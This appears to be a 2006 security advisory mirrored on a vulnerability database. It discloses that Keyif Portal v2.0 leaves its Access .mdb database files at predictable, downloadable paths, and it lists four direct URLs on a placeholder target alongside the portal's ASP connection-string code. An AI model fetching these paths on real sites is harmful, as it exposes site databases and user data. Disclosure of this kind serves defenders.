Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13562
HistoryJul 24, 2006 - 12:00 a.m.

Keyif Portal v2.0 - Microsoft Access Driver ( MDB ) Download

2006-07-2400:00:00
vulners.com
8

title : Keyif Portal v2.0 - Microsoft Access Driver ( MDB ) Download

script site : http://www.keyifweb.com/

Discovered : xoron

Cont@ct : [email protected]

Exploit : http://www.target.com/[path]/A9S7G6ASD790/ANKET/anket.mdb

          http://www.target.com/[path]/A9S7G6ASD790/HABER/keyifweb.mdb

          http://www.target.com/[path]/A9S7G6ASD790/ASP/download.mdb

          http://www.target.com/[path]/A9S7G6ASD790/SAYAC/aktif.mdb

Code:

SAYAC

Veri_yolu = Server.MapPath("database/A9S7G6ASD790/SAYAC/aktif.mdb")
Bcumle = "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & Veri_yolu


ASP

Sur.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("database/A9S7G6ASD790/ASP/download.mdb")


ANKET

vt_yol = server.mappath("database/A9S7G6ASD790/ANKET/anket.mdb")
Set bag = CreateObject("ADODB.Connection")


DOWNLOAD

Set Sur = Server.CreateObject("ADODB.Connection")
Sur.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("database/A9S7G6ASD790/ASP/download.mdb")

XORON - Cyber-Warrior.Org /// special thanx R3D4C!D :)